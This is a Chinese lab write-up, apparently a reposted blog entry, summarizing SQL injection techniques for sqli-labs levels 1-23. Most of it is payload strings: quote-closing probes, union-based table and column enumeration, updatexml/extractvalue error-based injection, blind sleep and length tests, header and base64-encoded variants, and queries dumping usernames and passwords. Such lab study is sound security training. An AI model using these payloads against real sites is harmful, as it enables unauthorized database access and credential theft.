###################################################
sqli-lab 1-23做題反思

---

get 類

---

1-4題：聯合查詢:

特點：輸入特殊符號有報錯提示，并且可以聯合查詢
1.用符號閉合掉或者注釋符號即可/!!!猜測出數據類型!!!/

如
or 1=1
’ or 1=1# 和 'or ‘1’=‘1
’ or 1=1# 和 ‘)or (‘1’)=(‘1
" or 1=1# 和 ") or (“1”)=("1
%’ or 1=1# 和 %’ or ‘%1%’=’%1

…

2.可以使用聯合查詢
…

5-7題：報錯注入

特點：輸入特殊符號有報錯提示，無法使用聯合查詢
通常數據類型也無法測試，所以需要猜測
如：'and updataxml(xxxxxxxxxxxxxxxxxxxx) and ‘1’='1
')updataxml(xxxxxxxxxxxxxxxxxxxx) and (‘1’)=('1
" updataxml(xxxxxxxxxxxxxxxxxxxx) and “1”="1
")updataxml(xxxxxxxxxxxxxxxxxxxx) and (“1”)=("1
…
8-10題：盲注

特點：永遠只返回真和假，沒有報錯
布爾盲注：’ or length(database())>1------>都是先判斷字符類型
時間盲注：’ or sleep(5)------------------>都是先判斷字符類型
具體類型具體分析
…

---

---

post 類

---

…

11-12題：
聯合查詢：
跟get一樣
…
13-14題：
報錯：
跟get一樣
…
15-16題：
盲注：
跟get一樣
…
17題：
報錯注入：
用戶處不能注入，但是密碼處可以，并且用戶要填寫正確
…
18-22題：
http頭部注入

特點：通常都是使用報錯注入
如：’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1
') and extractvalue(1,concat(0x7e,database(),0x7e))#
…

user-agent：常規報錯注入就可以，使用這條
’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1

referer：常規報錯注入就可以，
’ and updatexml(1,concat(0x7e,database(),0x7e),1) and ‘1’='1

cookie：常規報錯注入就可以
base64注入：如果看到注入點是base64加密，哪我們注入的時候也加密就好
如：

JykgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw==
這個是轉成Base64之后的。
') and extractvalue(1,concat(0x7e,database(),0x7e))# 這個是沒轉的

###################################################

基礎篇總結

1.判斷注入類型，通常先用or（顯示更多數據）再用and（正確返回正常，錯誤返回不正常）。如果無法判斷且用單引號和雙引號和反斜杠有報錯就使用報錯注入即可

2.判斷成功以后，無非就是顯注（可以使用union聯合查詢）和盲注（真假，無報錯）

3.附上盲注，顯注，報錯注入常用手段：

盲注
1.先判斷什么數據類型
再進行下面的操作：

uname=8") or sleep(5)#
&passwd=9
&submit=Submit

uname=8") or length(database())>1#
&passwd=9
&submit=Submit

顯注入常用手段：

1.先判斷什么數據類型
再進行下面的操作：

1.判斷列數

union select 1,2,3,… 直到頁面返回正常為止

2.判斷當前數據庫

union select database(),2,3,4,5 1的位置將會返回數據庫的名字

數據庫名 database()

數據庫版本 version()

數據庫用戶 user()

操作系統 @@version_compile_os

3.查詢表名

union select group_concat(table_name),2,3,4,5,6 from information_schema.tables where table_schema=‘test’

//group_concat()使多行數據在一列顯示

4.查詢列名

union select group_concat(column_name),2,3,4,5,6 from information_schema.columns where table_name=‘admin’

5.查數據 (0x20是空格的意思)

方法一：

union select group_concat(username,0x20,password),2,3,4,5 from test.admin //將所有數據在一行顯示

方法二

union select concat(username,0x20,password),2,3,4,5,6 from one.admin //因為網頁限制只能顯示一行數據，所以顯示第一行數據

union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘root’) //把第一行的用戶排除掉，第二行自動上來

union select concat(username,0x20,password),2,3,4,5,6 from one.admin where username not in (‘admin’,‘root’) //看第三行數據

報錯常用手段：

先附上一個報錯注入基本的流程,可以先不看直接往下看及可
kobe’ and updatexml(1,concat(0x7e,database()),0) --+

#報錯只能一次顯示- -行

可以使用1imit-次-次進行獲取表名:

kobe’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘pikachu’ limit 0,1)),0) --+

入獲取到表名后，在獲取列明，思路是-樣的:

kobe’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users’limit 0,1)),0) --+

JPI獲取到列名稱后，再來獲取數據:
kobe’ and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) --+

kobe’ and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0) --+

kobe’ and updatexm1(1,concat(0x7e,(select password from users where username=‘admin’ limit 0,1)),0) --+

總結

以上是生活随笔為你收集整理的sqli-lab_基础篇_1-23做题反思的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。